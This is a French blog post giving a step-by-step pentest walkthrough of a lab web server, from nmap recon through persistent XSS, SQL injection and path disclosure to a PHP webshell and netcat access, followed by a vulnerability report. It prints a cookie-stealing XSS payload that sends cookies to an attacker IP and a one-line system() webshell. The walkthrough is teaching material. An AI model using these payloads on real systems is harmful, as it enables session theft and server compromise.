jeudi 20 novembre 2014

Pimp my pentest : a classic and full pentest senario

C'est la saison des marrons les cheminées démarrent, et les pentests battent leurs pleins 
dans les entreprises, je me suis dit pourquoi ne pas dérouler un scénar complet relativement 
réaliste, le genre de chose que l'on peut croiser en entreprise.Au lieu de parler simplement d’une 
technique ou juste de l’aspect d’une vulnérabilité. Qui sait où ce pentest va nous mener !

Je vais me baser sur le PTES une référence en matière de pentest et de test d'intrusion. 
Voici les 4 principales étapes : 

1 Recon / Fingerprinting

2 Audit de sécurité / recherche de vulnérabilité

3 Exploitation des vulnérabilités trouvée 

4 Post Exploitation

5 Rapport




PRE REQUIS 

Sous votre VBox créer une conf en réseau privé puis vérifier son ajout dans votre ifconfig
vboxconnect0 , pensez à mettre une deuxième sortie pour avoir un accès vers le net.
Effectuez les tests nécessaires pour voir si tout fonctionne. 


I. RECON / FINGERPRINTING
Nous allons en premier lieu voir à quel type de serveur et de services nous avons affaire. 
Cette étape est la prise d’empreinte ou fingerprinting, utilisons donc nmap pour cela. 
Ici nous sommes sur un pentest qui à été demandé par le client donc aucune raison de faire le parano, 
dans le cas où vous devriez faire cela de façon la plus discrète possible vous pouvez 
faire un DECOY avec nmap, vous allez volontairement générer beaucoup de trafic vers la cible afin de masquer votre scan. 

Pour plus d’info la page officielle de Nmap sur cette technique http://nmap.org/book/man-bypass-firewalls-ids.html

Revenons à notre requête et son résultat :




Comme on pourra le constater il semblerait qu’un service web soit actif (Apache httpd 2.2.16 Debian)

Allons voir ça de suite ! 



2. RECHERCHES DE VULNERABILITES 

On vas faire le tour pour voir un peu le contenu du site et trouver des vulns,
dans les rubriques Welcome et Test :



 Voyons voir si une XSS passe dans un des champs … <script>alert(1)</script> ou <h1>XSS</h1>



Bingo Le champ Text est vulné et en plus de cela c’est une persistante, ce qui vas nous arranger grandement. 

3.EXPLOITATION DE VULNERABILITES

On prendra un Payload du type vol de cookie :
<script>document.write('<img src="http://votre_IP/?'+document.cookie+'"/>');</script>

Une fois la page cible trouvée et le payload envoyé on effectue une écoute comme ceci  (On relance nc aprés chaque requête).








Et nous voilà sur l’interface admin … On dit merci qui ? ;-) 

Donc à partir de cette page on va pouvoir découvrir certainement de nouvelles vulns,ce qui va nous permettre de continuer notre exploit un peu plus loin . Depuis l'interface admin nous éditons une catégorie et là surprise ! http://192.168.56.101/admin/edit.php?id=1 peut être une SQLi ? SQLmap va nous dire ça.






Utilisons la seconde requête que SQLmap teste, oui vu la grande complexité de la requête nous allons poursuivre à la main, sinon ce serait un peu comme rentrer avec un bulldozer chez grand-mère.

Nous allons utiliser “union select” comme SQLmap à pu nous le signaler. Nous savons que le nombres de colonnes est de 4, on vas pouvoir travailler avec ça déjà, un premier payload en ciblant la troisième colonne ce qui nous donne ceci : 
  



Nous allons générer un FULL PATH DISCLOSURE afin de récupérer le chemin à utiliser pour la suite avec l’insertion d’un Array (id[]= ) comme ceci http://192.168.56.101/admin/edit.php?id[]=1 ce qui nous renvoie l'erreur suivante :

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/classes/post.php on line 111 Notice: Undefined variable: post in /var/www/classes/post.php



Nous avons un accès, vérifions s'il est possible d’uploader  une backdoor php :
vérifions maintenant si la page php à correctement été crée.





C’est pas glop tout ça ! Essayons cette fois ci sur un autre dossier par exemple css/



Good ! çà fonctionne ! Ce sera notre répertoire de travail. Nous allons donc créer un payload
sur la même base avec pour objectif l'obtention d'un shell via un appel à la fonction php system() 
qui prend en paramètre c récupéré en get.

<?php
system($_GET['c']);
?>



Vérifions à présent que notre backdoor a bien été uploadé sur le serveur.


4. POST EXPLOITATION

Pour conclure et garder un accès  persistant sur ce serveur nous pouvons envisager une backdoor avec Hping3 qui a l'avantage de permettre de faire de l’évasion de Firewall. Oui mais voilà hping3 n’est pas installé, et on vas pas commencer a envisager de passer par wget et Cie vu que l’on ne dispose pas des droits pour compiler.Il y a une autre possibilité le serveur dispose  au minimum d’un port (80,http) côté WAN, je vais donc scanner cette interface car au vu du résultat du scan et du ping qui ne passe, il est fort probable que nous soyons face à un Firewall.


Output du scan de l'ip publique



On retourne sur notre webshell et on lance nc sur un des ports ouverts, à priori certaines règles ont dû être oubliées donc nous allons faire un port reuse afin de nous servir du Firewall Misconfiguration laissé par l'admin.



Il nous reste plus que la dernière étape prendre l’accès a distance avec netcat, une fois sur le shell on pourrais finir avec une privilège escalation.



5. RAPPORT

  RAPPORT DES VULNERABILITES TROUVEES :

CRITIQUE
1.XSS persistante /blog 
Descriptif :
Execution de code arbitraire côté client 

Conséquences : 
Vols de sessions 
Compromission du navigateur du client 
Installation de Programmes malveillants (Adware, Banker, Trojan, Backdoor)

2.SQLi Blind /admin/edit.php?id=1
Descriptif: :
Injection de code SQL permettant l'intéraction avec la base de donnée

Conséquences : 
Vol d'informations sensibles
Obtention d'un accès distant 
Compromission totale du SI

MODERE
3.Firewall Misconfiguration 
Descriptif :
Mauvaise configuration du Pare-feu
Règles obsolètes ou manquantes

Conséquences: 
Possibilité de contournement du Pare-feu
Accés à des services non protogés

FAIBLE
4.Path DISCLOSURE /admin/edit.php?id[]=1
Descriptif:
Fuite d'information (obtention d'un chemin d'accés)

Conséquences: 
Récupération d'informations  


Liens utiles Pentestlab.com